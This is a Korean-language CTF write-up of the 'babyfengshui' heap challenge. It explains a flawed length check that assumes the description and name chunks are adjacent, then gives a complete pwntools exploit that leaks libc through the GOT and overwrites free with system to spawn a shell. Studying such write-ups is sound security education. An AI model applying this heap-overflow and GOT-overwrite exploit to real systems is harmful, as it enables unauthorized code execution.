github twitter facebook email
Babyfengshui
Sep 11, 2018
2 minutes read

먼저 간단한 바이너리분석으로 이상한 부분을 몇개 짚어보면

s = malloc(size);
memset(s, 0, size);
v2 = (USER *)malloc(128u);
memset(v2, 0, 0x80u);
v2->description = (char *)s;
ptr[(unsigned __int8)heap_amount] = v2;
if ( &ptr[a1]->description[v3] >= &ptr[a1][-1].name[120] )
{
  puts("my l33t defenses cannot be fooled, cya!");
  exit(1);
}

각각 Add와 Update함수이다.

Add함수에서는 description을 먼저 malloc하고, USER를 malloc하게 된다.

Update함수에서 description의 최대 길이가 name을 침범하는지를 확인한다.

이는 description과 username이 붙어있다는 가정하에 이루어진것인데, 이부분에서 문제가 생긴다.

먼저 fastbin크기의 description을 만든다. 그 이후에 이 USER를 free 시키고, 128보다 작은 description을 만들게 되면,

| description1 (16 ) | username1 ( 128 ) | description2 (16 ) | username2 ( 128 ) | …

모양의 청크가

| Fastbin (16 ) | description1 ( 128 ) | description2 (16 ) | username2 ( 128 ) | username1 ( 128 ) | …

같은 모양으로 바뀔 수 있고, 그렇다면 description1부터 Heap based overflow가 일어날 것이다.

이를 이용해서 description2의 pointer를 덮어서 Arbitrary Read, Write가 가능해진다.

from pwn import *

def add(size, name, sizet, text):
    p.recvuntil('Action: ')
    p.sendline('0')
    p.recvuntil('size of description: ')
    p.sendline(str(size))
    p.recvuntil('name: ')
    p.sendline(name)
    p.recvuntil('text length: ')
    p.sendline(str(sizet))
    p.recvuntil('text: ')
    p.sendline(text)

def delete(idx):
    p.recvuntil('Action: ')
    p.sendline('1')
    p.recvuntil('index: ')
    p.sendline(str(idx))
 
def view(idx):
    p.recvuntil('Action: ')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(idx))

def update(idx,size,text):
    p.recvuntil('Action: ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recvuntil('text length: ')
    p.sendline(str(size))
    p.recvuntil('text: ')
    p.sendline(text)

if __name__ == "__main__":
    p = process('./babyfengshui')
    elf = ELF('./babyfengshui')
    libc = elf.libc

    add(10, 'A'*10, 10, 'A'*10)
    add(10, 'B'*10, 10, 'B'*10)
    add(8, '/bin/sh', 8, '/bin/sh')

    delete(0)

    add(120, "C"*10, 160, "A"*152 + p32(elf.got['free']))
    
    view(1)
    p.recvuntil('description: ')
    leak = u32(p.recv(4))

    libc_base = leak - libc.symbols['free']
    system = libc_base + libc.symbols['system']

    log.info("Libcbase : 0x%x" % libc_base)

    update(1,4,p32(system))

    delete(2)
    p.interactive()


Back to posts


comments powered by Disqus